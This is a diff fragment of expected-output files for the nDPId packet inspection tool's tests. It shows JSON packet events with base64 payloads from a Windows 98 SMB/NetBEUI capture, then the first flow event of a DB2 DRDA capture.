+00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":173,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409903,"pkt_ts_usec":677279,"pkt_caplen":97,"pkt_type":83,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAFPw8DYoDgD\/7xYMAAAoABQAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAACBAgIUAAAAGgAEAAUVAIM\/Pz8\/Pz8\/Pz8\/PxYCAAEAgwAAAQ=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":173,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":83} +00390{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":174,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409903,"pkt_ts_usec":677421,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAATw8QE4AP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAeTURKUjk4ICAgICAgICAg"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":174,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":175,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409903,"pkt_ts_usec":677504,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieADXw8Cg4DgD\/7xYMAAAUACgAAxX\/U01CgQEAEgCAAAAAAAAAAAAAAAAAAAAAyHUFAACBAgAAAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":175,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":53} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":176,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409903,"pkt_ts_usec":679586,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyADXw8DgqDgD\/7xYMAAAoABUAFQP\/U01CgAAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAAChAgAAAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":176,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":53} +00390{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":177,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409903,"pkt_ts_usec":679667,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAATw8QE6AP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAeTURKUjk4ICAgICAgICAg"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":177,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00418{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":178,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409903,"pkt_ts_usec":679733,"pkt_caplen":77,"pkt_type":63,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":77,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAD\/w8Co6DgD\/7xYMAAAVACgAAxX\/U01CgAAAAACAAAAAAAAAAAAAAAAAAAAAyHUFAAChAgVq\/wABAAJ2+AAAAAA="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":178,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":63} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":179,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409903,"pkt_ts_usec":737930,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyABLw8DosDgD\/7xQAAAAoAAAAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUF"} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":179,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":18} +00390{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":180,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409903,"pkt_ts_usec":738050,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAATw8QE8AP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAeTURKUjk4ICAgICAgICAg"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":180,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00412{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":184,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409905,"pkt_ts_usec":957339,"pkt_caplen":74,"pkt_type":60,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":74,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyADzw8DwsDgD\/7xYEAAAAABYAFQP\/U01CAQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAADBAgAHAARcVEVTVAA="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":184,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":60} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":185,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409905,"pkt_ts_usec":958005,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieADXw8Cw+DgD\/7xYMAAAWACgAAxX\/U01CAQAAAACAAAAAAAAAAAAAAAAAAAAAyHUFAADBAgAAAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":185,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":53} +00391{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":186,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409906,"pkt_ts_usec":45807,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyABLw8D4uDgD\/7xQAAAAoAAAAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUF"} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":186,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":18} +00390{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":188,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409906,"pkt_ts_usec":373827,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAATw8QFALAAAAIARrUHAqO+BwKjv\/wCKAIoAxYA7EQIAHMCo74EAigCvAAAgRU5F"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":188,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00654{"flow_id":7,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":191,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409908,"pkt_ts_usec":337893,"pkt_caplen":219,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":219,"pkt_l4_len":185,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAADNOgAAAIARn03AqO+BwKjv\/wCKAIoAuRsuEQIAJsCo74EAigCjAAAgRU5FRUVLRkNESkRJQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0EAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJPAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAACQAAAAAAAAAAAAAAAAAAAAAAAAAJAFYAAwABAAEAAgAaAFxNQUlMU0xPVFxCUk9XU0UAAgBNREpSOTgA"} +00655{"flow_id":7,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":192,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409908,"pkt_ts_usec":338019,"pkt_caplen":219,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":219,"pkt_l4_len":185,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAADNOwAAAIARnk3AqO+BwKjv\/wCKAIoAufUpEQIAKMCo74EAigCjAAAgRU5FRUVLRkNESkRJQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0EAIEFCQUNGUEZQRU5GREVDRkNFUEZIRkRFRkZQRlBBQ0FCAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAACQAAAAAAAAAAAAAAAAAAAAAAAAAJAFYAAwABAAEAAgAaAFxNQUlMU0xPVFxCUk9XU0UAAgBNREpSOTgA"} +00687{"flow_id":7,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":193,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409908,"pkt_ts_usec":392441,"pkt_caplen":243,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":243,"pkt_l4_len":209,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAADlPAAAAIARnTXAqO+BwKjv\/wCKAIoA0ZTzEQIAKsCo74EAigC7AAAgRU5FRUVLRkNESkRJQ0FDQUNBQ0FDQUNBQ0FDQUNBQUEAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJPAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAIQAAAAAAAAAAAAAAAAAAAAAAAAAhAFYAAwABAAEAAgAyAFxNQUlMU0xPVFxCUk9XU0UADwXA1AEATURKUjk4AAAAAAAAAAAAAAQAAyBFABUEVaoA"} +00416{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":194,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409908,"pkt_ts_usec":865229,"pkt_caplen":76,"pkt_type":62,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAD7w8EAuDgD\/7xYEAAAAABcAFQP\/U01CKwAAAAAAAAAAAAAAAAAAAAAAAAAAyAAyAADhAgEBAAcABEhlbGxvAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":194,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":62} +00390{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":195,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409908,"pkt_ts_usec":865369,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAATw8QFCAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAeTURKUjk4ICAgICAgICAg"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":195,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00416{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":196,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409908,"pkt_ts_usec":865432,"pkt_caplen":76,"pkt_type":62,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAD7w8C5CDgD\/7xYMAAAXACgAAxX\/U01CKwAAAACAAAAAAAAAAAAAAAAAAAAAyAAyAADhAgEBAAcABEhlbGxvAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":196,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":62} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":197,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409908,"pkt_ts_usec":973799,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyABLw8EIwDgD\/7xQAAAAoAAAAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUF"} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":197,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":18} +00389{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":198,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409908,"pkt_ts_usec":973907,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAATw8QFELwAAAIARq7fAqO+BwKjvAgCJAIkATO+bACIpAAABAAAAAAABIEZIRVBG"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":198,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00391{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":199,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409909,"pkt_ts_usec":161807,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieABLw8DBEDgD\/7x8AAAAAAAAAAxVLR1JPVVAgICAgICAeTURKUjk4ICAgICAgICAg"} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":199,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":18} +00391{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":200,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409909,"pkt_ts_usec":358578,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAATw8QEyDgD\/7xYEAAAAABYAFQP\/U01CAQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUF"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":200,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":201,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409911,"pkt_ts_usec":828356,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyADXw8EQyDgD\/7xYEAAAAABgAFQP\/U01CcQAAAAAAAAAAAAAAAAAAAAAAAAAAyAAyAAABAwAAAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":201,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":53} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":202,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409911,"pkt_ts_usec":828513,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieADXw8DJGDgD\/7xYMAAAYACgAAxX\/U01CcQAAAACAAAAAAAAAAAAAAAAAAAAAyAAyAAABAwAAAA=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":202,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":53} +00391{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":203,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409911,"pkt_ts_usec":828650,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAATw8QE0DgD\/7xYEAAAAABcAFQP\/U01CKwAAAAAAAAAAAAAAAAAAAAAAAAAAyAAy"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":203,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":204,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409911,"pkt_ts_usec":828841,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyABLw8EY0DgD\/7xQAAAAoAAAAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUF"} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":204,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":18} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":205,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409911,"pkt_ts_usec":828940,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyABLw8Eg1DgD\/7xgAAAAAAAAAFQP\/U01CAQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUF"} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":205,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":18} +00389{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":206,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409911,"pkt_ts_usec":829009,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAATw8QFLMAAAAIARqrfAqO+BwKjvAgCJAIkATO+bACIpAAABAAAAAAABIEZIRVBG"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":206,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":4} +00391{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":207,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409911,"pkt_ts_usec":829099,"pkt_caplen":60,"pkt_type":3,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AFBWM3ieAAwp1HmyAAPw8FMyDgD\/7xYEAAAAABgAFQP\/U01CcQAAAAAAAAAAAAAAAAAAAAAAAAAAyAAy"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":207,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":3} +00390{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":208,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409911,"pkt_ts_usec":829163,"pkt_caplen":60,"pkt_type":3,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAwp1HmyAFBWM3ieAAPw8XMwIwAAAIARtrrAqO+BwKjv\/wCJAIkATG6mAAooEAABAAAAAAABIEZIRVBG"} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":208,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":3} +00562{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":209,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409912,"pkt_ts_usec":777830,"pkt_caplen":186,"pkt_type":172,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":186,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAKzw8AMsAP\/vCAAAAAAAAAABAl9fTVNCUk9XU0VfXwIBTURKUjk4ICAgICAgICAgAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAJwAAAAAAAAAAAAAAAAAAAAAAAAAnAFYAAwABAAEAAgA4AFxNQUlMU0xPVFxCUk9XU0UADADA1AEAV09SS0dST1VQAAAAAAAAAAQAACBAgAAAAABNREpSOTgA"} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":209,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":172} +00696{"flow_id":7,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":210,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409923,"pkt_ts_usec":353834,"pkt_caplen":249,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":249,"pkt_l4_len":215,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAADrPQAAAIARnC\/AqO+BwKjv\/wCKAIoA11O8EQIALMCo74EAigDBAAAgRU5FRUVLRkNESkRJQ0FDQUNBQ0FDQUNBQ0FDQUNBQUEAIEFCQUNGUEZQRU5GREVDRkNFUEZIRkRFRkZQRlBBQ0FCAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAJwAAAAAAAAAAAAAAAAAAAAAAAAAnAFYAAwABAAEAAgA4AFxNQUlMU0xPVFxCUk9XU0UADADA1AEAV09SS0dST1VQAAAAAAAAAAQAACBAgAAAAABNREpSOTgA"} +00500{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":211,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409925,"pkt_ts_usec":57831,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"AFBW6YlWAFBWM3ieCABFAABgPgAAAIARnLfAqO+BwKjvAgCJAIkATOGIAC4pAAABAAAAAAABIEVORUJGQ0ZFRUpFT0NBRkNFUEZERUZFT0VCRkZDQUFEAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} +00395{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":212,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409925,"pkt_ts_usec":58018,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAQAAAAAAGQBXT1JLR1JPVVAgICAgICAdTUFSVElOIFJPU0VOQVUgAw=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":212,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00396{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":213,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409925,"pkt_ts_usec":661877,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAQAAAAAAGQBXT1JLR1JPVVAgICAgICAeTUFSVElOIFJPU0VOQVUgAw=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":213,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00396{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":214,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409926,"pkt_ts_usec":307736,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAQAAAAAAGQAAAAAAAAAAAAAAAAAAAAAATUFSVElOIFJPU0VOQVUgAw=="} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":214,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00501{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":215,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409926,"pkt_ts_usec":557294,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"AFBW6YlWAFBWM3ieCABFAABgPwAAAIARm7fAqO+BwKjvAgCJAIkATOGIAC4pAAABAAAAAAABIEVORUJGQ0ZFRUpFT0NBRkNFUEZERUZFT0VCRkZDQUFEAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} +00500{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":216,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409928,"pkt_ts_usec":60524,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"AFBW6YlWAFBWM3ieCABFAABgQAAAAIARmrfAqO+BwKjvAgCJAIkATOGIAC4pAAABAAAAAAABIEVORUJGQ0ZFRUpFT0NBRkNFUEZERUZFT0VCRkZDQUFEAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} diff --git a/test/results/drda_db2.pcap.out b/test/results/drda_db2.pcap.out new file mode 100644 index 000000000..639d2818d --- /dev/null +++ b/test/results/drda_db2.pcap.out @@ -0,0 +1,17 @@ +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"drda_db2.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1175543772220,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.106.1","dst_ip":"192.168.106.128","src_port":4847,"dst_port":50000,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 